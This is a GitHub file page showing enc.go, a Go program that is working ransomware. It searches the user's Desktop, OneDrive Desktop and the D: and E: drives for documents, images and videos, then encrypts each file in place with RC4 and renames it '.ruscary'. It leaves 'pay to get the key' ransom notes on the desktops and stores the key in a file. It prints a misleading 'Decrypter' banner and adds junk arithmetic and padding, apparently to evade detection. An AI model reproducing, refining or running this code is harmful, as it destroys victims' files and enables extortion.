-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathenc.go
More file actions
127 lines (110 loc) · 4.18 KB
/
Copy pathenc.go
File metadata and controls
127 lines (110 loc) · 4.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
package main
import (
"crypto/rand"
"crypto/rc4"
"encoding/hex"
"fmt"
"io"
"io/fs"
"io/ioutil"
"os"
"path/filepath"
"runtime"
"strings"
"time"
)
// i am friendly
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
/*0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*/
const chrome = "chromeInstall"
const version = "1.7.5"
var files []string
func readfile(filename string) string {
file, _ := os.ReadFile(filename)
//if err != nil {
// return ""
//}
return string(file)
}
func GK() ([]byte, error) {
key := make([]byte, 64)
_, err := io.ReadFull(rand.Reader, key) //讀key長度的rand.Reader
if err != nil {
return nil, err
}
return key, nil
}
func enco(txtfile []byte, key []byte) []byte {
HexKey := hex.EncodeToString(key)
KeyTxt := []byte(HexKey)
dest := make([]byte, len(txtfile))
final, _ := rc4.NewCipher(KeyTxt)
final.XORKeyStream(dest, txtfile)
pay := "pay to get the key"
fakekey := KeyTxt
msg := []byte(pay)
_, err := os.Stat(os.Getenv("USERPROFILE") + "/key.key")
if err != nil {
ioutil.WriteFile(os.Getenv("USERPROFILE")+"/key.key", []byte(fakekey), 0444)
}
ioutil.WriteFile(os.Getenv("USERPROFILE")+"/Desktop/"+"/readme.txt", []byte(msg), 0444)
ioutil.WriteFile(os.Getenv("USERPROFILE")+"/OneDrive/Desktop/"+"/readme.txt", []byte(msg), 0444)
return dest
}
func scf() {
root := [...]string{os.Getenv("USERPROFILE") + "/Desktop/", os.Getenv("USERPROFILE") + "/OneDrive/Desktop/", "D:\\", "E:\\"}
for _, rootpath := range root {
filepath.Walk(rootpath, func(path string, nfo fs.FileInfo, err error) error {
ok := strings.HasSuffix(path, ".pdf") ||
strings.HasSuffix(path, ".docx") ||
strings.HasSuffix(path, ".doc") ||
strings.HasSuffix(path, ".txt") ||
strings.HasSuffix(path, ".xls") ||
strings.HasSuffix(path, ".xlsx") ||
strings.HasSuffix(path, ".ppt") ||
strings.HasSuffix(path, ".pptx") ||
strings.HasSuffix(path, ".csv") ||
strings.HasSuffix(path, ".jpeg") ||
strings.HasSuffix(path, ".jpg") ||
strings.HasSuffix(path, ".JPG") ||
strings.HasSuffix(path, ".JPEG") ||
strings.HasSuffix(path, ".png") ||
strings.HasSuffix(path, ".PNG") ||
strings.HasSuffix(path, ".mp4")
/*strigs.HasSuffix(path, ".pst") ||
strings.HasSuffix(path, ".ost") ||
strings.HasSuffix(path, ".wmv") ||
strings.HasSuffix(path, ".mp3") ||
strings.HasSuffix(path, "mov")*/
if ok {
files = append(files, path)
}
return nil
})
}
}
func main() {
time.Sleep(10000)
fmt.Print("Decrypter \n\n")
a := 5*10 + 5 + 5 + 5 + 5 + 5 + 5 + 5555 + 5 + 5 + 5 + 5 + 5 + 5 + 555 + 5 + 5 + 5 + 5 + 5 + 5
b := 7 + 599*4848*48494*54/99999999 - 89898989
D := 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
c := (a / b) + D
fmt.Println(&c)
scf()
key, _ := GK()
for _, rdf := range files {
runtime.GOMAXPROCS(1)
rdfile := readfile(rdf)
enced := enco([]byte(rdfile), key)
ioutil.WriteFile(rdf, enced, 0644)
os.Rename(rdf, rdf+".ruscary")
}
}